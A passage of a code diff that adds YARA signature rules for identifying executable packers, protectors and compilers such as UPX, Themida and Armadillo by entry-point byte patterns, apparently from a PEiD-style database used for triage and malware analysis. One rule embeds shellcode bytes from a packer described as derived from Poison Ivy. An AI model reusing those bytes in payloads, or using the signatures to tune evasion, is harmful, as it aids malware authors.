+		$1 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+	condition:
+		$0 at entrypoint
+}
+rule _Thunderbolt_V002__deXep_forgot_
+{
+	meta:
+		description = "Thunderbolt V0.02 -> deXep (forgot)"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _hmimys_protect_01__hmimys_
+{
+	meta:
+		description = "hmimys protect 0.1 -> hmimys"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v43__v46_
+{
+	meta:
+		description = "VBOX v4.3 - v4.6"
+	strings:
+		$0 = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+		$1 = {90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+		$2 = {8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4}
+		$3 = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3
+}
+rule _PESHiELD_v02__v02b__v02b2_
+{
+	meta:
+		description = "PESHiELD v0.2 / v0.2b / v0.2b2"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+		$1 = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLite_114_COM_
+{
+	meta:
+		description = "PKLite 1.14 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0E 01}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PECrypt_102__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PE-Crypt 1.02) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PECompact_14p__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PECompact 1.4+] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Limit_Archive_
+{
+	meta:
+		description = "Limit Archive"
+	strings:
+		$0 = {4C 4D 1A}
+	condition:
+		$0 at entrypoint
+}
+rule _unknown_by_RAO_
+{
+	meta:
+		description = "unknown by RAO"
+	strings:
+		$0 = {8B C4 2D A6 02 24 00 8B F8 57 B9 53 00 BE 14 01 F3 A5 FD C3 97 4F 4F B9 00 00 03 F1 D1 E9 F3 A5 FC E8 91 00 8D 75 02 BF 00 01 3C A4 E8 80 00 72 FA E8 77 00 AC 93 B7 FF 73 65 E8 72 00 D0 D7 E8 6D 00 72 12 B6 02 E8 66 00 72 09 E8 61 00 D0 D7}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_v10__IonIce_
+{
+	meta:
+		description = "Exe Locker v1.0 --> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+		$1 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE32Pack_v139_
+{
+	meta:
+		description = "EXE32Pack v1.39"
+	strings:
+		$0 = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+		$1 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _N0Ps_Shit_Protector_0002b_
+{
+	meta:
+		description = "N0Ps Shit Protector 0.002b"
+	strings:
+		$0 = {9C 58 25 FF FE 50 9D 8B D4 8C D3 8E D3 BC 03 00 8B E2 8E D3 9C 58 A9 00 01 75 01 2E E8 00 00 5D 81 ED B2 07 B8 A8 07 03 C5 2E 81 B6 B8 07 FF FE 50 58 8B F4 2E 8B BE C3 07 81 EF 4E 58 2B F7 8B 1C 83 C3 32 FF E3 2E 33 FF 8E DF 8E C7 8B F7 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector 1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1353__Obsidium_Software___20080120_
+{
+	meta:
+		description = "Obsidium V1.3.5.3 -> Obsidium Software  * 20080120"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2B 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXLock_v11__CyberDoom__Bob_
+{
+	meta:
+		description = "UPXLock v1.1 -> CyberDoom & Bob"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? 00 60}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PE_Lock_NT_204__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PE Lock NT 2.04) -> emadicius"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_620__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.20] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V2xx_max_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.xx (max compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+	condition:
+		$0
+}
+rule _PECompact_v120__v1201_
+{
+	meta:
+		description = "PECompact v1.20 - v1.20.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AVPack_12x_COM_
+{
+	meta:
+		description = "AVPack 1.2x [COM]"
+	strings:
+		$0 = {EB 12 41 56 50 41 43 4B 16 01 01 00 00 00 00 00 00 00 00 00 8C DA 03 16 12 01 39 16 02 00 73 18 B4 09 BA 28 01 CD 21 C3 4F 75 74 20 6F 66 20 6D 65 6D 6F 72 79 0D 0A 24 8B DC 83 EA 40 FA 8E D2 BC 00 04 FB 50 1E 53 8E C2 B9 00 01 8B F1 33 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_V102__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.02 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Native_UD_Packer_11_Modded_Poison_Ivy_Shellcode__okkixot_
+{
+	meta:
+		description = "Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot"
+	strings:
+		$0 = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7}
+		$1 = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_RunTime_Library_1992_14_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (14)"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_C__Basic_NET_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C# / Basic .NET)"
+	strings:
+		$0 = {EB}
+		$1 = {EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_VOB_ProtectCD_5_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VOB ProtectCD 5"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HASP_HL_Protection_V1X__Aladdin_
+{
+	meta:
+		description = "HASP HL Protection V1.X -> Aladdin"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+		$1 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+		$2 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _eXPressor_120b_
+{
+	meta:
+		description = "eXPressor 1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_
+{
+	meta:
+		description = "UPX v1.03 - v1.04"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASYLUM_Music_File_v10_
+{
+	meta:
+		description = "ASYLUM Music File v.1.0"
+	strings:
+		$0 = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Go32Stub_v200_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00 DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_11__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_Team_Blue_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl Team (Blue)"
+	strings:
+		$0 = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v120_
+{
+	meta:
+		description = "PKLITE v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v405d_v410d_v415d_
+{
+	meta:
+		description = "PC-Guard v4.05d, v4.10d, v4.15d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01}
+		$1 = {FC 55 50 E8 00 00 00 00 5D EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Themida_1920_
+{
+	meta:
+		description = "Themida 1.9.2.0"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 14 02 00 00}
+		$1 = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_v60__v70_
+{
+	meta:
+		description = "Borland Delphi v6.0 - v7.0"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+		$1 = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+		$2 = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+		$3 = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+		$4 = {55 8B EC 83 C4 F0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4
+}
+rule _UPX_v071__v072__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.71 - v0.72 -> Laszlo & Markus"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_098__099_COM_
+{
+	meta:
+		description = "aPack 0.98 - 0.99 [COM]"
+	strings:
+		$0 = {BE 0D 01 BF 00 7F 8B CF FC 57 F3 A4 C3 BF 00 01 57}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) 1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint
+}
+rule _CryEXE_40_
+{
+	meta:
+		description = "CryEXE 4.0"
+	strings:
+		$0 = {E9 A1 FF E8 5C FF 55 E9 08 00 A5 12 BB 06 00 E8 95 FF E9 62 FF B9 FE 0C BE 0B 0F 2E 8A 14 89 F3 80 C2 46 80 F2 73 81 F3 E4 35 80 EA 22 30 DA 30 FA 2E 88 14 4E 49 74 02 EB E1 E5 46 C2 A3 2B 4B F8 59 54 DC 59 09 F4 A5 01 52 F5 56 B2 D3 7E 1B}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20__Stone_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0 -> Stone"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v301__v350a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+	condition:
+		$0 at entrypoint
+}
